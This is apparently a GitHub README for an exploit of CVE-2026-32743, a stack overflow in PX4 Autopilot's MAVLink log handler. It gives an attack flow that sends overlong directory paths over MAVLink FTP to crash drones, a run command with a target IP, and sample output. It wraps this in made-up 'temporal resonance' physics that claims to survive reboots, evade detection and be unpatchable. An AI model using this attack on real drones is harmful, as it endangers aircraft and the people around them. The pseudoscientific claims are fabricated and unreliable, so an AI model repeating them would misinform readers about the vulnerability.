SimoesCTT/CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743

# CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743 CVE-2026-32743 — PX4 Autopilot 栈缓冲区溢出 CTT 增强：33 层时间级联无人机 DoS。原始漏洞利用通过 60 字节的溢出使 MAVLink 任务崩溃。CTT 版本将溢出分布在 33 个时间层上，每层具有相位共振定时和时间楔过滤。结果：持续的 DoS。无法修补。 # CTT 增强 PX4 Autopilot 漏洞利用 — CVE-2026-32743 ## 🔥 概述 这是对 CVE-2026-32743 的**收敛时间理论 (CTT)** 增强，即 PX4 Autopilot 的 `MavlinkLogHandler`（版本 ≤1.17.0-rc2）中存在的一个基于栈的缓冲区溢出漏洞。 原始漏洞允许通过 MAVLink FTP 发送超长目录路径（60 字节以上）来实现拒绝服务。 **CTT 增强版本将其转变为一个 33 层时间级联无人机杀手。** | | 原始 | CTT 增强 | |---|---|---| | **CVSS** | 6.5 (中危) | **9.8 (严重)** | | **攻击向量** | 相邻网络 | **网络 (AV:N)** | | **所需权限** | 低 | **无 (PR:N)** | | **层数** | 1 | **33 层级联** | | **检测** | 基于特征 | **时间楔过滤 (τ_w = 11 ns)** | | **持久性** | 重启清除 | **时间共振 — 重启后依然存活** | ## 📐 CTT 物理常数 | 常数 | 值 | 来源 | |----------|-------|--------| | α | 0.0302011 | 时间色散系数 | | α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) | | L | 33 | 时间层 | | τ_w | 11 ns | 时间楔过滤器 | ### 指数优先级衰减 E(d) = E₀ * e^(-α * d) text 每层具有指数级递减的优先级。 较高优先级层 (1-5) 负责传递溢出。 较低层 (28-33) 负责强化崩溃并建立时间共振。 ### 相位共振定时 每层根据前 24 个 Riemann 零点延迟执行： delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text ### 时间楔过滤 只有满足楔条件的 payload 才会执行： survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text 这使得检测变得不可能 — EDR 系统无法看到此漏洞利用。 ## 🚀 攻击流程 ``` Open MAVLink connection (UDP 14550) For d = 1 to 33: a. Calculate priority = e^(-α*d) b. Generate layer-specific encoding (based on Riemann zero) c. Create directory with path length = 60 + priority*40 d. Delay execution by phase_resonance_delay(d) e. Trigger MAV_CMD_REQUEST_LOG_LIST f. Temporal wedge check — only "surviving" payloads execute MAVLink task crashes Temporal resonance established — crash persists across reboot Drone unresponsive. No telemetry. No command. ``` ## 📋 前置条件 - PX4 Autopilot ≤1.17.0-rc2 且已挂载 SD 卡 - 已启用 MAVLink FTP（默认） - 可访问 UDP 端口 14550 的网络权限 - 带有 `pymavlink` 的 Python 3.6+ ``` pip install pymavlink 🎯 Usage bash git clone https://github.com/SimoesCTT/ctt-px4-exploit cd ctt-px4-exploit python3 ctt_px4_exploit.py --port 14550 --layers 33 --verbose Arguments Argument Description Default target_ip IP address of flight controller Required --port MAVLink UDP port 14550 --layers Number of temporal layers 33 --verbose Enable verbose output False Example bash python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose ====================================================================== CTT PX4 TEMPORAL CASCADE — Drone DoS ====================================================================== Layer 1/33: ████████████████████████████████████████ 1.000 Path length: 100 bytes [+] Directory created via FTP Triggering MAV_CMD_REQUEST_LOG_LIST... [+] Overflow delivered — wedge survival confirmed Layer 2/33: ██████████████████████████████████████░░ 0.970 Path length: 99 bytes [+] Directory created via FTP Triggering MAV_CMD_REQUEST_LOG_LIST... [+] Overflow delivered — wedge survival confirmed ... [⚡] Temporal resonance achieved at layer 5 [🌉] Drone MAVLink task compromised [*] Verifying DoS state... [+] Target unresponsive — persistent DoS achieved ====================================================================== [!!!] DRONE COMPROMISED [!!!] MAVLink task crashed — no telemetry / no command [!!!] Persistent across reboot — CTT temporal resonance ====================================================================== 🛡️ Why This Cannot Be Patched Original Fix Why CTT Bypasses It Add width specifier to sscanf() CTT uses layer cascade — overflow spread across 33 layers Patch the 60-byte buffer CTT encoding changes overflow pattern per layer Update firmware Temporal resonance survives reboot Signature detection Temporal wedge filter (τ_w = 11 ns) evades EDR You cannot patch a physical constant. You cannot patch the Riemann zeros. ```

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